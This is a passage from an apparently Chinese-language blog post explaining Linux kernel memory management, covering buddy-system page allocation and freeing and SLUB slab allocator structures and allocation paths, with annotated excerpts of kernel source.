取到了,则初始化页面并返回 prep_new_page(page, order, gfp_mask, alloc_flags); if (unlikely(order && (alloc_flags & ALLOC_HARDER))) reserve_highatomic_pageblock(page, zone, order); return page; } else {#ifdef CONFIG_DEFERRED_STRUCT_PAGE_INIT // 没取到,如果该 zone 有 deferred pages,扩展后再试一遍 if (static_branch_unlikely(&deferred_pages)) { if (_deferred_grow_zone(zone, order)) goto try_this_zone; }#endif } } /* * 在一台 UMA machine 上可能所有 zone 都是内存碎片 * 无法避免碎片,重试 */ if (no_fallback) { alloc_flags &= ~ALLOC_NOFRAGMENT; goto retry; } return NULL;} 从 preferred_zoneref 开始遍历 zone_list 寻找满足要求的 zone 如果开启了 cpuset,检查当前 zone 是否满足要求,若否,寻找下一个 zone 检查当前 zone 的脏页数量达到限制,若否,寻找下一个 zone 检查当前 zone 是否属于另一个 node,若是,则清除 ALLOC_NOFRAGMENT 标志,重新遍历,因为 local node 重要性大于内存碎片 检查水位线是否达标 若设置了 ALLOC_NO_WATERMARKS 忽略检查 若未达标,调用 node_reclaim 函数进行页面回收 若回收后 zone 仍不满足要求,则寻找下一个 zone 调用 rmqueue 函数,对满足要求的 zone 进行内存分配,即 Buddy System 分配算法 下面仔细看看 Buddy System 分配算法 rmqueue 函数mm/page_alloc.c12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576static inlinestruct page *rmqueue(struct zone *preferred_zone, struct zone *zone, unsigned int order, gfp_t gfp_flags, unsigned int alloc_flags, int migratetype){ unsigned long flags; struct page *page; // 大多数情况只需要一个页的大小 if (likely(order == 0)) { /* * MIGRATE_MOVABLE pcplist 可能在 CMA 区域有页面 * 如果 CMA 开启且不分配 CMA,则需要略过 MIGRATE_MOVABLE 的页面 * 即当 CMA 没开启,或分配标志有 ALLOC_CMA,或页面不是 MIGRATE_MOVABLE * 都可以使用 pcplist */ if (!IS_ENABLED(CONFIG_CMA) || alloc_flags & ALLOC_CMA || migratetype != MIGRATE_MOVABLE) { page = rmqueue_pcplist(preferred_zone, zone, gfp_flags, migratetype, alloc_flags); goto out; } } /* * 不希望调用者尝试分配 order > 1 的页面且带有 __GFP_NOFAIL 标志 * 可能会导致无限尝试分配失败 */ WARN_ON_ONCE((gfp_flags & __GFP_NOFAIL) && (order > 1)); // 加锁,开始内存分配了 spin_lock_irqsave(&zone->lock, flags); do { page = NULL; /* * HIGHATOMIC 区域是为高 order 分配保留的,因此 0 order 应该跳过 * 当 order > 0,且有 ALLOC_HARDER 标志(高优先级分配) * 调用 __rmqueue_smallest 分配 */ if (order > 0 && alloc_flags & ALLOC_HARDER) { page = __rmqueue_smallest(zone, order, MIGRATE_HIGHATOMIC); if (page) trace_mm_page_alloc_zone_locked(page, order, migratetype); } // 调用 __rmqueue 分配 if (!page) page = __rmqueue(zone, order, migratetype, alloc_flags); // 最后检查分配的页面是否是新页面,防止 overlap } while (page && check_new_pages(page, order)); // 解锁,分配完成 spin_unlock(&zone->lock); if (!page) goto failed; __mod_zone_freepage_state(zone, -(1 << order), get_pcppage_migratetype(page)); __count_zid_vm_events(PGALLOC, page_zonenum(page), 1 << order); zone_statistics(preferred_zone, zone); local_irq_restore(flags);out: if (test_bit(ZONE_BOOSTED_WATERMARK, &zone->flags)) { clear_bit(ZONE_BOOSTED_WATERMARK, &zone->flags); wakeup_kswapd(zone, 0, 0, zone_idx(zone)); } VM_BUG_ON_PAGE(page && bad_range(zone, page), page); return page;failed: local_irq_restore(flags); return NULL;} 对于一个页大小的页面,除了 CMA 开启且不分配 CMA 的 MIGRATE_MOVABLE 页面,都可以通过 rmqueue_pcplist 从 CPU 的内存仓库中分配 CMA 一般用于嵌入式,目的是分配一块连续的物理内存,这里不细讲 如果 order > 0 且分配优先级比较高,则调用 __rmqueue_smallest 分配 否则都调用 __rmqueue 分配内存 对页面进行检查是否是新页,不是则跳到第 2 步重新分配 rmqueue_pcplist 函数从 per_cpu_pageset 中分配 order-0(单页)页面 mm/page_alloc.c12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152static struct page *rmqueue_pcplist(struct zone *preferred_zone, struct zone *zone, gfp_t gfp_flags, int migratetype, unsigned int alloc_flags){ struct per_cpu_pages *pcp; struct list_head *list; struct page *page; unsigned long flags; // 关闭中断 local_irq_save(flags); // 取出 pcplist pcp = &this_cpu_ptr(zone->pageset)->pcp; list = &pcp->lists[migratetype]; // 分配页面 page = __rmqueue_pcplist(zone, migratetype, alloc_flags, pcp, list); if (page) { __count_zid_vm_events(PGALLOC, page_zonenum(page), 1); zone_statistics(preferred_zone, zone); } // 开启中断 local_irq_restore(flags); return page;}static struct page *__rmqueue_pcplist(struct zone *zone, int migratetype, unsigned int alloc_flags, struct per_cpu_pages *pcp, struct list_head *list){ struct page *page; do { // 如果 pcplist 为空 if (list_empty(list)) { // 调用 rmqueue_bulk 函数从 zone 中获取 batch 个页面到 pcplist 中 // 其中会调用 __rmqueue 函数从 zone 取页面 pcp->count += rmqueue_bulk(zone, 0, READ_ONCE(pcp->batch), list, migratetype, alloc_flags); if (unlikely(list_empty(list))) return NULL; } // 从链表中脱链 page = list_first_entry(list, struct page, lru); list_del(&page->lru); pcp->count--; } while (check_new_pcp(page)); return page;} 取出 pcplist 调用 __rmqueue_pcplist 函数分配页面 如果 pcplist 为空,调用 rmqueue_bulk 函数从当前 zone 获取若干页面加入到 pcplist 中 从 pcplist 链表中脱链,取出一个页面 返回页面 __rmqueue_smallest 函数核心函数 mm/page_alloc.c12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152static __always_inlinestruct page *__rmqueue_smallest(struct zone *zone, unsigned int order, int migratetype){ unsigned int current_order; struct free_area *area; struct page *page; // 从 zone 中寻找合适大小的页面, for (current_order = order; current_order < MAX_ORDER; ++current_order) { // 取出 free_area 从中取出页面 area = &(zone->free_area[current_order]); page = get_page_from_free_area(area, migratetype); if (!page) // 如果当前 order 的页面为空,则选更高 order 的页面 continue; // 脱链 del_page_from_free_list(page, zone, current_order); // 在 expand 中进行拆分和上链 expand(zone, page, order, current_order, migratetype); // 设置页的迁移类型 set_pcppage_migratetype(page, migratetype); return page; } return NULL;}static inline void expand(struct zone *zone, struct page *page, int low, int high, int migratetype){ unsigned long size = 1 << high; // 从当前 order 循环到需要分配的 order while (high > low) { high--; size >>= 1; VM_BUG_ON_PAGE(bad_range(zone, &page[size]), &page[size]); /* * 可能将后半页面标记作为守护页,在前半页被释放后,会进行合并 * 对应的页表项也不会被创建,这部分也不会出现在虚拟地址空间中 */ if (set_page_guard(zone, &page[size], high, migratetype)) continue; // 将后半页面添加到对应大小和迁移类型的链表中 add_to_free_list(&page[size], zone, high, migratetype); // 设置后半页面的 order set_buddy_order(&page[size], high); }} 从 zone 取出大小合适的页面,如果当前 order 的页面为空,那么从更高 order 的链表中去取 将页面脱链 调用 expand 函数将页面进行拆分和上链 从当前 order 循环到需要分配的 order 后半页面添加到对应大小的链表中 设置前半页面的 order,下一步继续拆分,直到 order 刚好合适 设置页面的迁移类型,返回页面 __rmqueue 函数mm/page_alloc.c12345678910111213141516171819202122232425262728293031static __always_inline struct page *__rmqueue(struct zone *zone, unsigned int order, int migratetype, unsigned int alloc_flags){ struct page *page; if (IS_ENABLED(CONFIG_CMA)) { if (alloc_flags & ALLOC_CMA && zone_page_state(zone, NR_FREE_CMA_PAGES) > zone_page_state(zone, NR_FREE_PAGES) / 2) { page = __rmqueue_cma_fallback(zone, order); if (page) goto out; } }retry: page = __rmqueue_smallest(zone, order, migratetype); if (unlikely(!page)) { if (alloc_flags & ALLOC_CMA) page = __rmqueue_cma_fallback(zone, order); // 调用 __rmqueue_fallback 看其他迁移类型有没有可以用的页面偷过来 if (!page && __rmqueue_fallback(zone, order, migratetype, alloc_flags)) goto retry; }out: if (page) trace_mm_page_alloc_zone_locked(page, order, migratetype); return page;} 如果开启了 CMA,从 CMA 区域获取页面(不细讲) 调用 __rmqueue_smallest 从 zone 对应迁移类型的链表中取页面 如果失败了,从 CMA 区域获取页面 如果还是失败了,调用 __rmqueue_fallback 从 zone 其他迁移类型的链表中寻找可用的页面放到当前迁移类型的链表中,重试步骤 2 如果还没有就寄 慢速分配:__alloc_pages_slowpath 函数快速分配不成功说明系统可能没有足够的连续空闲页面,接下来进入慢速分配,先进行内存碎片整理与内存回收,再进行分配 #todo 上层 API 函数123456789101112__alloc_pages_node /*返回 struct page 的指针*/ __alloc_pages __alloc_pages_nodemaskalloc_pages /*返回 struct page 的指针*/ alloc_pages_current __alloc_pages_nodemask __get_free_pages /*返回页面的虚拟地址*/ alloc_pages alloc_pages_current __alloc_pages_nodemask 页面释放Buddy System 的 buddy 其实就在于页面释放时,寻找与被释放的页面内存对齐的页面(可能与上一页面,也可能是下一页面)作为 buddy,检查该 buddy 是否可以合并 buddy 实际上就是指守护页或空闲页面 __free_one_page 是页面释放的核心函数,这里的 page 是指页面,而不是页 函数定义于 mm/page_alloc.c 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899static inline void __free_one_page(struct page *page, unsigned long pfn, struct zone *zone, unsigned int order, int migratetype, fpi_t fpi_flags){ struct capture_control *capc = task_capc(zone); unsigned long buddy_pfn; unsigned long combined_pfn; unsigned int max_order; struct page *buddy; bool to_tail; // 计算最高 order max_order = min_t(unsigned int, MAX_ORDER - 1, pageblock_order); // 检查参数的合法性 VM_BUG_ON(!zone_is_initialized(zone)); VM_BUG_ON_PAGE(page->flags & PAGE_FLAGS_CHECK_AT_PREP, page); VM_BUG_ON(migratetype == -1); if (likely(!is_migrate_isolate(migratetype))) __mod_zone_freepage_state(zone, 1 << order, migratetype); VM_BUG_ON_PAGE(pfn & ((1 << order) - 1), page); VM_BUG_ON_PAGE(bad_range(zone, page), page);continue_merging: // 只要还能合并,order 没到最高 order,就继续合并 while (order < max_order) { if (compaction_capture(capc, page, order, migratetype)) { __mod_zone_freepage_state(zone, -(1 << order), migratetype); return; } // 计算 buddy 的 PFN buddy_pfn = __find_buddy_pfn(pfn, order); buddy = page + (buddy_pfn - pfn); if (!pfn_valid_within(buddy_pfn)) goto done_merging; // 检查 buddy 是否能合并,比如是否被释放,是否同阶,是否在同一 zone if (!page_is_buddy(page, buddy, order)) goto done_merging; if (page_is_guard(buddy)) // 若 buddy 是守护页,则去除守护页标志 clear_page_guard(zone, buddy, order, migratetype); else // 否则将 buddy 脱链,以便合并 del_page_from_free_list(buddy, zone, order); // 计算合并后的 page 属性 combined_pfn = buddy_pfn & pfn; page = page + (combined_pfn - pfn); pfn = combined_pfn; order++; } if (order < MAX_ORDER - 1) { /* * 如果到了这里,说明 order >= pageblock_order * 希望阻止隔离 pageblock 上的页面与正常 pageblock 的合并 * 如果不阻止,可能导致错误的空闲页或 CMA 计数 */ if (unlikely(has_isolate_pageblock(zone))) { // 如果有隔离 pageblock,需要停止合并 int buddy_mt; buddy_pfn = __find_buddy_pfn(pfn, order); buddy = page + (buddy_pfn - pfn); buddy_mt = get_pageblock_migratetype(buddy); if (migratetype != buddy_mt && (is_migrate_isolate(migratetype) || is_migrate_isolate(buddy_mt))) goto done_merging; } max_order = order + 1; goto continue_merging; }done_merging: // 合并完成后,设置页面的 order,设置 buddy 标志位 set_buddy_order(page, order); // 判断插入到链表头还是链表尾,通常是链表头,遵循 LIFO if (fpi_flags & FPI_TO_TAIL) to_tail = true; else if (is_shuffle_order(order)) to_tail = shuffle_pick_tail(); else // 如果该页面很大或下一个页面也是空闲的,则插入到链表尾 to_tail = buddy_merge_likely(pfn, buddy_pfn, page, order); if (to_tail) add_to_free_list_tail(page, zone, order, migratetype); else add_to_free_list(page, zone, order, migratetype); if (!(fpi_flags & FPI_SKIP_REPORT_NOTIFY)) page_reporting_notify_free(order);} 计算 max_order 和 buddy 的 PFN 通过 page_is_buddy 检查 buddy 是否可以合并 该 buddy 是否设置 buddy 标志位或是守卫页 是否同 order 是否在同一 zone 如果可以合并,取消 buddy 标志位并脱链,或取消守卫页标志位 计算合并后的页面属性,跳转到步骤 1,继续合并,直到到达 max_order 或 buddy 不能合并 判断是否有隔离 pageblock(pageblock 是一种比较大的页面,order >= MAX_ORDER-1) 如果有则停止合并 如果没有,则跳转到步骤 1 尝试继续合并 合并完成,设置页面 order 和 buddy 标志位(表示页面为空闲页面) 判断插入到空间页面的链表头还是链表尾,通常是链表头,遵循 LIFO 上层 API 函数123456free_pages __free_pages free_the_page free_unref_page or __free_pages_ok free_one_page __free_one_page SlabBuddy System 分配的页面单位是页,而往往使用的时候并不需要那么大的空间,因此需要更细粒度的内存分配器对从 Buddy System 获取的页面进行管理,也就是 Slab Allocator,它会将页面分割成小的对象(object)供其他组件使用 Slab 又被称为内核的堆管理器,动态分配内存 Slab 经历了三个版本 Slab:最初版本,机制复杂,效率不高 Slob:用于嵌入式等的简化版本 Slub:优化后的通用版本 本文主要介绍 Slub,Linux 最常用的内存分配器 下图是 Slub 的结构概览 基本结构体slabSlub 将从 Buddy System 获取的页面称为一张 slab,对应的匿名结构体内嵌在 page 结构体中,新版本的 Slub 是单独拿出一个 slab 结构体,本质上也是复用 page 结构体 定义位于 include/linux/mm_types.h 下面介绍与 slab 有关的几个重要字段 slab_list1struct list_head slab_list; 按用途连接多个 slab 的双向链表 Partial pages12345678910struct { struct page *next;#ifdef CONFIG_64BIT int pages; int pobjects;#else short int pages; short int pobjects;#endif}; 当 slab 位于 kmem_cache_cpu 和 kmem_cache_node 的 partial 链表上会使用 next:指向链表上的下一张 slab pages:partial 链表后面的剩余页面的数量(包括自己) pobject:该 slab 上剩余空闲对象的大约数量 slab_cache1struct kmem_cache *slab_cache; 该 slab 的管理器,后面会详细介绍 freelist1void *freelist; 该 slab 的空闲对象单向链表,指向第一个空闲对象 counters12345678union { unsigned long counters; struct { unsigned inuse:16; unsigned objects:15; unsigned frozen:1; };}; inuse:已被使用的对象数量,包括 kmem_cache_cpu->freelist 上的空闲对象 objects:对象总数 frozen:是否归属于特定 CPU,cpu slab 和 cpu partial slab 都为 1 couters 和上面三个字段属于同一内存,后面有大量对 couters 的赋值操作,实际上是对 inuse & objects & frozen 的赋值 slab 分类 cpu slab:位于 kmem_cache_cpu->page 上,frozen 为 1 cpu partial slab:位于 kmem_cache_cpu->partial 链表上,frozen 为 1 node slab:位于 kmem_cache_node->partial 双向链表上 full slab:没有空闲对象的 slab,如果开启 CONFIG_SLUB_DEBUG 配置,位于 kmem_cache_node->full 双向链表上 empty slab:没有正在使用的对象的 slab objectslab 中的内存最小单元,对象 1234struct object { void data[]; struct object *next_free_object;} object 不像在 glibc 中的 chunk 有明确的结构体定义,上面的定义为笔者自己捏造的(不信就算了) data:用于存放数据,一个 slab 上的大小相同,不同 slab 的大小可能不同 next_free_object:单向链表,指向下一个空闲对象 kmem_cache用于分配特定大小或用途的对象的管理器,每个 kmem_cache 有若干张 slab 所有的 kmem_cache 存储在一个通用 kmalloc_caches 数组中,并构成一个双向链表 mm/slab_common.c1234struct kmem_cache *kmalloc_caches[NR_KMALLOC_TYPES][KMALLOC_SHIFT_HIGH + 1] __ro_after_init ={ /* initialization for https://bugs.llvm.org/show_bug.cgi?id=42570 */ };EXPORT_SYMBOL(kmalloc_caches); kmem_cache 结构体定义位于 include/linux/slub_def.h 下面介绍几个重要字段 cpu_slab1struct kmem_cache_cpu __percpu *cpu_slab; percpu 变量,每个 CPU 独有一个,相当于每个 CPU 的内存池 flags1slab_flags_t flags; 标志位,用于回收等 min_partial1unsigned long min_partial; node partial 链表上 slab 的最小可释放数量,用于判断全是空闲对象的 slab 是放到 node slab 上还是释放给 buddy system(node slab 足够多) size & object_size12unsigned int size;unsigned int object_size; size:对象的实际大小 object_size:对象所能存放的数据大小 offset1unsigned int offset; slab 上 next_free_object 在对象上的偏移,用于获取下一个空闲对象,不同 slab 可能不同 cpu_partial该 kmem_cache 上 cpu partial slab 上空闲对象的数量限制,用于限制 cpu partial slab 的数量 当新插入的 slab 上的空闲对象数量超过 cpu_partial,会将其他 cpu partial slab 放入 node slab 当 cpu slab 上的空闲对象数量超过 cpu_partial 的一半,不会添加 cpu partial slab oo12345struct kmem_cache_order_objects oo;struct kmem_cache_order_objects { unsigned int x;}; 低 16 位:一张 slab 上的对象数量 高 16 位:一张 slab 的大小(order) min1struct kmem_cache_order_objects min; 一张 slab 上最少的对象数量 allocflags1gfp_t allocflags; 存放 GFP 标志位 ctor1void (*ctor)(void *); 对象的构造函数,分配对象会调用该函数进行初始化 inuse1unsigned int inuse; 实际上就是 object_size align1unsigned int align; 对象对齐的宽度 random_seq1unsigned int *random_seq; 用于在 slab 初始化或时,随机化 freelist 上空闲对象的连接顺序 useroffset & usersize12unsigned int useroffset;unsigned int usersize; Hardened Usercopy 保护相关 useroffset:用户空间能读写的区域起始偏移 usersize:用户空间能读写的区域大小 node1struct kmem_cache_node *node[MAX_NUMNODES]; kmem_cache_node 数组,对应不同 node 的后备内存池,一般计算机只有一个 kmem_cache 类型kmem_cache 有四种类型,在进行内存分配时若未指定内存池,则会根据 allocflags 从不同的 kmem_cache 中取 include/linux/slab.h12345678enum kmalloc_cache_type { KMALLOC_NORMAL = 0, KMALLOC_RECLAIM,#ifdef CONFIG_ZONE_DMA KMALLOC_DMA,#endif NR_KMALLOC_TYPES}; KMALLOC_NORMAL:通用内存池,对应 kmalloc-*,分配 flag 为 GFP_KERNEL KMALLOC_RECLAIM:用于 DMA 的内存池,对应 kmalloc-dma-* KMALLOC_DMA:可以被回收的内存池,对应 kmalloc-rcl-* 若没开启 DMA 选项,则合并入 KMALLOC_NORMAL 内存池 slab alias一种对同等/近似大小对象的 kmem_cache 进行复用的机制 当要创建一个 kmem_cache 时,若已存在能分配相等/近似大小的对象的 kmem_cache,则不会创建新的 kmem_cache,而是为原有的 kmem_cache 起一个别名,作为“新的” kmem_cache 返回 例如 Linux 4.4 以前,cred 结构体与其他大小为 192 字节的结构体,会从同一个 kmem_cache —— kmalloc-192 中分配,就很容易被 UAF 漏洞利用提权 Linux 4.4 后,开启 SLAB_ACCOUNT 后,cred 结构体属于高权限结构体,会创建一个单独的 kmem_cache —— cred_jar 单独给 cred 结构体使用,而其他普通同大小的结构体使用 kmalloc-192,彼此之间互不干扰 kmem_cache_cpu各 CPU 的独占内存池,在 kmem_cache 中为 percpu 字段 请求内存分配时,首先会尝试从当前 CPU 的 kmem_cache_cpu 取出对象 include/linux/slub_def.h1234567891011struct kmem_cache_cpu { void **freelist; unsigned long tid; struct page *page;#ifdef CONFIG_SLUB_CPU_PARTIAL struct page *partial;#endif#ifdef CONFIG_SLUB_STATS unsigned stat[NR_SLUB_STAT_ITEMS];#endif}; freelist:指向下一个空闲对象的指针 tid:表示当前处理该 kmem_cache_cpu 的线程 id,用来确保同一时刻只有一个线程在进行操作 page:指向用来内存分配的页面的 slab 结构体,笔者这里简称为 cpu slab partial:归属于该 CPU 的仍有一定空闲对象的 slab 链表,这类 slab 简称为 cpu partial slab,需要开启 CONFIG_SLUB_CPU_PARTIAL 配置 slab 上的 freelist 仅当其在 kmem_cache_cpu 的 partial 链表上有用,当 slab 在 page 上时,slab 的 freelist 为 NULL,其作用会被 kmem_cache_cpu 的 freelist 代替 #todo kmem_cache_cpu 与 slab 的联系 对象分配slab_alloc_node上层接口最后都会调用到 slab_alloc_node 来完成内存分配 struct kmem_cache *s:当前 kmem_cache gfp_t gfpflags:分配标志位 int node:指定的 node id,一般为 NUMA_NO_NODE(-1),即不指定 node unsigned long addr:开启 SLAB_DEBUG_FLAGS 后使用,一般不会使用 mm/slub,c123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960static __always_inline void *slab_alloc_node(struct kmem_cache *s, gfp_t gfpflags, int node, unsigned long addr){ void *object; struct kmem_cache_cpu *c; struct page *page; unsigned long tid; struct obj_cgroup *objcg = NULL; // 检查参数的合法性,主要检查 gfp 是否合法 s = slab_pre_alloc_hook(s, &objcg, 1, gfpflags); if (!s) return NULL;redo: // 获取该 CPU 的 kmem_cache_cpu,while 循环确保 kmem_cache_cpu 真的属于 CPU,可能会被抢占到其他 CPU do { tid = this_cpu_read(s->cpu_slab->tid); c = raw_cpu_ptr(s->cpu_slab); } while (IS_ENABLED(CONFIG_PREEMPTION) && unlikely(tid != READ_ONCE(c->tid))); barrier(); // 首先从 kmem_cache_cpu 上获取空闲对象和 cpu slab object = c->freelist; page = c->page; if (unlikely(!object || !page || !node_match(page, node))) { // 如果 kmem_cache_cpu 上没有空闲对象或 cpu slab // 调用 __slab_alloc 进行慢速分配 object = __slab_alloc(s, gfpflags, node, addr, c); } else { // 如果有空闲对象,就直接取出下一个空闲对象放入 free_list 中 void *next_object = get_freepointer_safe(s, object); // 一个原子操作,确保只有一个线程能修改 // 检查 cpu_slab->freelist == object, cpu_slab->tid == tid // cpu_slab->freelist = next_object, cpu_slab->tid = next(tid) if (unlikely(!this_cpu_cmpxchg_double( s->cpu_slab->freelist, s->cpu_slab->tid, object, tid, next_object, next_tid(tid)))) { note_cmpxchg_failure("slab_alloc", s, tid); goto redo; } prefetch_freepointer(s, next_object); stat(s, ALLOC_FASTPATH); } // 可能把对象的 next_free_object 清零(根据 kmem_cache 的标志位决定) maybe_wipe_obj_freeptr(s, object); // 根据分配标志位要不要将对象 data 初始化为 0 if (unlikely(slab_want_init_on_alloc(gfpflags, s)) && object) memset(kasan_reset_tag(object), 0, s->object_size); slab_post_alloc_hook(s, objcg, gfpflags, 1, &object); return object;} 检查参数合法性 检查 kmem_cache_cpu->free_list 和 cpu slab 是否存在 如果都存在,调用 get_freepointer_safe 取下一个空闲对象放入 kmem_cache_cpu->free_list 否则,调用 __slab_alloc 进行慢分配获取对象 根据标志位对对象进行初始化(将 next_free_object 和 data 清零) 返回对象 总的来说就是先尝试快分配,不行就调用 __slab_alloc 进行慢分配,然后根据标志位进行初始化操作,最后返回对象 __slab_alloc为 ___slab_alloc 的封装 mm/slub.c123456789101112131415161718static void *__slab_alloc(struct kmem_cache *s, gfp_t gfpflags, int node, unsigned long addr, struct kmem_cache_cpu *c){ void *p; unsigned long flags; // 关闭中断 local_irq_save(flags);#ifdef CONFIG_PREEMPTION // 如果开启了抢占,kmem_cache_cpu 可能会被更换,重新获取 c = this_cpu_ptr(s->cpu_slab);#endif p = ___slab_alloc(s, gfpflags, node, addr, c); // 关闭中断 local_irq_restore(flags); return p;} 关闭中断,调用 ___slab_alloc 进行实际分配,分配完开启中断 ___slab_alloc慢速分配的核心代码 mm/slub.c1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798static void *___slab_alloc(struct kmem_cache *s, gfp_t gfpflags, int node, unsigned long addr, struct kmem_cache_cpu *c){ void *freelist; struct page *page; stat(s, ALLOC_SLOWPATH); page = c->page; // 检查是否有自己的 cpu slab if (!page) { // 如果 node 没有正常空间或 node 不存在,就跳过此 node if (unlikely(node != NUMA_NO_NODE && !node_state(node, N_NORMAL_MEMORY))) node = NUMA_NO_NODE; // 去获取新的 slab goto new_slab; }redo: // 检查 cpu slab 是否属于该 node if (unlikely(!node_match(page, node))) { // 如果 node 没有正常空间,则跳过此 node if (!node_state(node, N_NORMAL_MEMORY)) { node = NUMA_NO_NODE; goto redo; } else { // 如果不属于该 node 将该 slab 从 kmem_cache_cpu 去掉 stat(s, ALLOC_NODE_MISMATCH); deactivate_slab(s, page, c->freelist, c); //去获取新的 slab goto new_slab; } } if (unlikely(!pfmemalloc_match(page, gfpflags))) { deactivate_slab(s, page, c->freelist, c); goto new_slab; } // 再次检查一遍 freelist,看是否发生 CPU 迁移或中断出现了新的对象可用 freelist = c->freelist; if (freelist) // 如果 cpu slab 有新的空闲对象可用,就直接去用 goto load_freelist; // 如果 freelist 没有,从 cpu slab 上尝试寻找空闲对象 freelist = get_freelist(s, page); if (!freelist) { // 如果仍然没有,就去获取新的 slab c->page = NULL; stat(s, DEACTIVATE_BYPASS); goto new_slab; } stat(s, ALLOC_REFILL);load_freelist: // 检查 cpu slab 是否是 frozen 状态 VM_BUG_ON(!c->page->frozen); // 取出下一个空闲对象,放入 kmem_cache_cpu->freelist 中 c->freelist = get_freepointer(s, freelist); c->tid = next_tid(c->tid); return freelist;new_slab: // 尝试获取 cpu partial slab if (slub_percpu_partial(c)) { // 如果有 cpu partial slab,作为新的 cpu slab,跳转到 redo 重新获取对象 page = c->page = slub_percpu_partial(c); slub_set_percpu_partial(c, page); stat(s, CPU_PARTIAL_ALLOC); goto redo; } // 调用此函数,从 kmem_cache_node 中取,或申请新的 slab freelist = new_slab_objects(s, gfpflags, node, &c); if (unlikely(!freelist)) { slab_out_of_memory(s, gfpflags, node); return NULL; } page = c->page; if (likely(!kmem_cache_debug(s) && pfmemalloc_match(page, gfpflags))) // 取完后最后一般会跳转到 load_freelist goto load_freelist; if (kmem_cache_debug(s) && !alloc_debug_processing(s, page, freelist, addr)) goto new_slab; deactivate_slab(s, page, get_freepointer(s, freelist), c); return freelist;} 对 freelist、cpu slab 和 cpu slab 的 freelist 进行检查,检查是否因为 CPU 迁移或中断出现新的空闲对象,确定是否真的没有空闲对象了,如果还有就跳转到 load_freelist 标签直接取 freelist 的空闲对象即可 如果真没有,就跳转到 new_slab 标签(核心代码) 尝试获取 cpu partial slab,如果有,作为新的 cpu slab,跳转到步骤 1 再做检查 如果没有,调用 new_slab_objects(核心函数) 从 kmem_cache_node 获取 slab deactivate_slab将 cpu slab 从 kmem_cache_cpu 去掉 mm/slub.c123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132static void deactivate_slab(struct kmem_cache *s, struct page *page, void *freelist, struct kmem_cache_cpu *c){ enum slab_modes { M_NONE, M_PARTIAL, M_FULL, M_FREE }; struct kmem_cache_node *n = get_node(s, page_to_nid(page)); int lock = 0; enum slab_modes l = M_NONE, m = M_NONE; void *nextfree; int tail = DEACTIVATE_TO_HEAD; struct page new; struct page old; if (page->freelist) { stat(s, DEACTIVATE_REMOTE_FREES); tail = DEACTIVATE_TO_TAIL; } // 第一步:检查 kmem_cache_cpu->freelist 是否还有空闲对象 // 如果有,把 kmem_cache_cpu->freelist 上的空闲对象都插入 page->freelist // 但是留一个在 kmem_cache_cpu->freelist 上面 while (freelist && (nextfree = get_freepointer(s, freelist))) { void *prior; unsigned long counters; // 检查内存是否被破坏 if (freelist_corrupted(s, page, &freelist, nextfree)) break; // 把 kmem_cache_cpu->freelist 上的空闲对象都插入 page->freelist 表头 // 这里是反序插入,kmem_cache_cpu->freelist 的最后一个对象变成第一个对象 do { prior = page->freelist; counters = page->counters; // kmem_cache_cpu->freelist->next_free_object = prior,可能会加密存储 set_freepointer(s, freelist, prior); new.counters = counters; // 这里的 inuse-- 是因为在 kmem_cache_cpu->freelist 上的空闲对象 // 对于 slab 来说也算在使用中,重新放回去后,就需要减一 new.inuse--; VM_BUG_ON(!new.frozen); // 原子操作 检查 page->freelist == prior && page->couters == couters // 通过则 page->freelist = freelist, page->counters = new.counters } while (!__cmpxchg_double_slab(s, page, prior, counters, freelist, new.counters, "drain percpu freelist")); freelist = nextfree; }redo: old.freelist = page->freelist; old.counters = page->counters; VM_BUG_ON(!old.frozen); new.counters = old.counters; if (freelist) { // 插入保留的那个对象 new.inuse--; set_freepointer(s, freelist, old.freelist); new.freelist = freelist; } else new.freelist = old.freelist; // 解冻,解除该 slab 与 CPU 的绑定 new.frozen = 0; if (!new.inuse && n->nr_partial >= s->min_partial) // 如果 slab 上没有正在使用的对象且 node slab 足够多了 // 就把该 slab 释放给 Buddy System m = M_FREE; else if (new.freelist) { // 如果 slab 上有空闲对象,就放到 node slab 链表中 m = M_PARTIAL; if (!lock) { lock = 1; // 加锁,防止被挖去当 cpu slab 了 spin_lock(&n->list_lock); } } else { // 如果 slab 没有空闲对象,放入 kmem_cache_node->full 链表里 m = M_FULL; if (kmem_cache_debug_flags(s, SLAB_STORE_USER) && !lock) { lock = 1; // 加锁,防止被挖去当 cpu slab 了 spin_lock(&n->list_lock); } } if (l != m) { if (l == M_PARTIAL) remove_partial(n, page); else if (l == M_FULL) remove_full(s, n, page); if (m == M_PARTIAL) // 添加到 node slab 的链表头(很少添加到链表尾) add_partial(n, page, tail); else if (m == M_FULL) // 添加到 kmem_cache_node->full 链表头 add_full(s, n, page); } l = m; // 原子操作 检查 page->freelist == old.freelist && page->couters == old.couters // 通过则 page->freelist = new.freelist, page->counters = new.counters if (!__cmpxchg_double_slab(s, page, old.freelist, old.counters, new.freelist, new.counters, "unfreezing slab")) // 基本不会再做一次 goto redo; if (lock) spin_unlock(&n->list_lock); if (m == M_PARTIAL) stat(s, tail); else if (m == M_FULL) stat(s, DEACTIVATE_FULL); else if (m == M_FREE) { stat(s, DEACTIVATE_EMPTY); // 调用链 free_slab -> __free_slab -> __free_pages 释放给 Buddy System discard_slab(s, page); stat(s, FREE_SLAB); } c->page = NULL; c->freelist = NULL;} 如果 kmem_cache_cpu->freelist 还有空闲对象,就迁移到 slab 上(一般情况下都没有空闲对象了,这一步直接跳过) 解除 slab 与 CPU 的绑定 frozen = 0 根据情况移动该 slab 如果 slab 没有正在使用的对象(全是空闲对象),而且 node slab 足够多了,就调用 discard_slab->free_slab->__free_slab->__free_pages 释放给 Buddy System 如果 slab 还有空闲对象,就插入到 node slab 上 否则说明 slab 没有空闲对象,就插入到 kmem_cache_node->full 链表头上 最后将 kmem_cache_cpu 的 page 和 freelist 置零 new_slab_objectsmm/slub.c1234567891011121314151617181920212223242526272829303132static inline void *new_slab_objects(struct kmem_cache *s, gfp_t flags, int node, struct kmem_cache_cpu **pc){ void 